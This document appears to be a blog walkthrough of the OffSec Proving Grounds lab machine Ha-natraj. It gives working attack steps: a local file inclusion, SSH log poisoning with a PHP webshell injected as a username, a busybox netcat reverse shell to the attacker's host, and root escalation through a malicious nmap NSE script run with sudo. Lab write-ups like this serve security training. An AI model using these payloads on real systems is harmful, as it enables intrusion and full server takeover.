OffSec PG — Ha-natraj Walkthrough
Machine details
- Title: Ha-natraj
- Author: Hacking Articles
- Difficulty: Easy
- Community Rating: Hard
- Flags: 2 (user and root)
Recon and Enumeration
Let’s start doing a simple scan with nmap
nmap <MACHINE-IP>As nmap only revealed SSH port and http, the webport should be our priority, as there is a possibility to gather interesting info (I did another scan and only found two ports, this port 720 might be a false positive)
The index shows an amazing website with a gallery talking about Natraj (I liked this design)
Also, if we scroll a little bit we can read his history
I will make a dictonary with this index page just in case, with cewl
cewl http://192.168.160.80/ -w natrajAs this is a static webpage, lets try to find any directory that might be hidden on this server, I recommend using the seclists wordlist
gobuster dir -u http://192.168.160.80/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txtThe console directory seems interesting, let’s visit it
It has just a file.php, clicking on the file seems to be a blank page
As the name says file.php, maybe there is a parameter named ‘file’ to read files? Let’s try this
http://192.168.160.80/console/file.php?file=/etc/passwdThis is great news! we can use this to read other files on the machine, and also we can find two users at the home directory: natraj and mahakal
Additionally, we can read the SSH logs, which is located on /var/log directory
http://192.168.160.80/console/file.php?file=/var/log/auth.logI did a little test to see if we can read the latest logs
To my surprise, it works pretty well!
This confirms the machine is vulnerable to log poisoning, we will create a user with a php code
Get Antonio’s stories in your inbox
Join Medium for free to get updates from this writer.
However, as ssh does not allow writing like PHP code as a user, we may need to use another way to ‘log-in’, we will use a python script. Make sure you install the module paramiko, i will name this script as ssh.py
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('<THE-VICTIM-IP-GOES-HERE>', username='<?php system($_GET["cmd"]); ?>', password='bar')
Now we will execute the python script
python3 ssh.pyIt will trigger an error because we got a wrong password, but that’s not a problem, if we check out the logs and put a cmd parameter for example ‘whoami’, we can acheive RCE
http://192.168.160.80/console/file.php?file=/var/log/auth.log&cmd=idWe can see the response (www-data) is from the server, let’s create a reverse shell so we can input commands to this machine!
First, setup a netcat listener
nc -lvnp 1234The cmd parameter we will connect to our machine, this is the cmd command
busybox nc <YOUR-IP-HERE> -e /bin/bashhttp://192.168.160.80/console/file.php?file=/var/log/auth.log&cmd=busybox nc <YOUR-IP-HERE> -e /bin/bashYou can see we perfectly receive the connection and also the commands works as well
Finally, let’s upgrade this shell to a interactive one, following these commands
BASH=/bin/bash script -q /dev/null
$ bash
export TERM=xtermNow, we can background this session using Ctrl + Z and execute this command. execute one command by one
stty -echo raw;fg;reset xterm
clearYou have gotten a completely interactive shell, we can now do some fun stuff! :D
In the /var/www directory, we can get the user flag
Privilege escalation
I checked sudo -l to see if we can execute any command as root
Looking for interesting files, the apache2.conf is writable for us. We will edit the file so we can set the user and group to mahakal
Save the changes, and before you use systemctl to restart apache2 as root, make sure there is a web shell on the /var/www/html folder
My personal choice: use the phpmonkey rev shell
You just have to change those two lines
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THISAfter we do the command as root, and make a new reverse shell we can notice the change to the user mahakal
Also, we can use nmap as root
Searching on GTFOBins, we can read files with nmap
I will read the root flag with nmap
sudo nmap -iL /root/proof.txtBut we can get even a root shell using a script, on this blog post shows some payloads
thanks for refabr1k for sharing his knowledge! Please check his webpage :D
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse





